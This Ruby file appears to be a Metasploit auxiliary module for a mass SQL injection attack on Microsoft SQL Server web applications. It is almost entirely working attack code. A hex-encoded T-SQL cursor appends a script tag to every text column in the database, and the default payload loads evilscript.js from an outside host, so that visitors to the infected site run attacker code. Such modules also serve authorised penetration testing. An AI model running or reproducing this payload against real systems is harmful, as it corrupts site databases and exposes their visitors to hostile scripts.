92 lines
2.9 KiB
Ruby
92 lines
2.9 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'rex/proto/http'
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Scanner
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include Msf::Auxiliary::WmapModule
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'HTTP Microsoft SQL Injection Table XSS Infection',
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'Description' => %q{
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This module implements the mass SQL injection attack in
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use lately by concatenation of HTML string that forces a persistent
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XSS attack to redirect user browser to an attacker controller website.
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},
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'Author' => [ 'et' ],
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'License' => BSD_LICENSE))
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register_options(
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[
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OptString.new('URI', [ true, "The path/file to identify backups", '/index.asp']),
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OptString.new('QUERY', [ true, "HTTP URI Query", 'p1=v1&p2=v2&p3=v3']),
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OptString.new('VULN_PAR', [ true, "Vulnerable parameter name", 'p1']),
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OptBool.new('TEXT_INT_INJECTION', [ true, "Perform string injection", false]),
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OptBool.new('COMMENTED', [ true, "Comment end of query", true]),
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OptString.new('EVIL_HTML', [ true, "Evil HTML to add to tables", '<script src=http://browser-autopwn.com/evilscript.js></script>']),
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])
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end
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def run_host(ip)
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# Weird to indent for practical reasons.
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infstr = <<-EOF
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DECLARE @T varchar(255),@C varchar(255)
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DECLARE Table_Cursor CURSOR FOR
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select a.name,b.name from sysobjects a,syscolumns b
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where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
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OPEN Table_Cursor
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FETCH NEXT FROM Table_Cursor INTO @T,@C
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WHILE(@@FETCH_STATUS=0)
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BEGIN
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exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''#{datastore['EVIL_HTML']}''')
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FETCH NEXT FROM Table_Cursor INTO @T,@C
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END
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CLOSE Table_Cursor
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DEALLOCATE Table_Cursor
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EOF
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infstr.gsub!(/(\t|\n|\r)/,"")
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prestr = ";DECLARE @S NVARCHAR(4000);SET @S=CAST("
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poststr = " AS NVARCHAR(4000));EXEC(@S);"
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gvars = queryparse(datastore['QUERY']) #Now its a Hash
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if gvars.has_key?(datastore['VULN_PAR'])
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prestr = datastore['TEXT_INT_INJECTION'] ? "\'#{prestr}" : ''
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poststr = datastore['COMMENTED'] ? "#{poststr}--" : ''
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attstr = ""
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infstr.unpack("C*").collect! { |i| attstr += i.to_s(base=16).upcase+"00" }
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gvars[datastore['VULN_PAR']] += prestr + "0x"+attstr + poststr
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else
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print_error("Error: Vulnerable parameter is not part of the supplied query string.")
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return
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end
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begin
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normalres = send_request_cgi({
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'uri' => normalize_uri(datastore['URI']),
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'vars_get' => gvars,
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'method' => 'GET',
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'ctype' => 'text/plain'
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}, 20)
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rescue ::Rex::ConnectionError
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rescue ::Errno::EPIPE
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end
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print_status("Request sent.")
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end
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end
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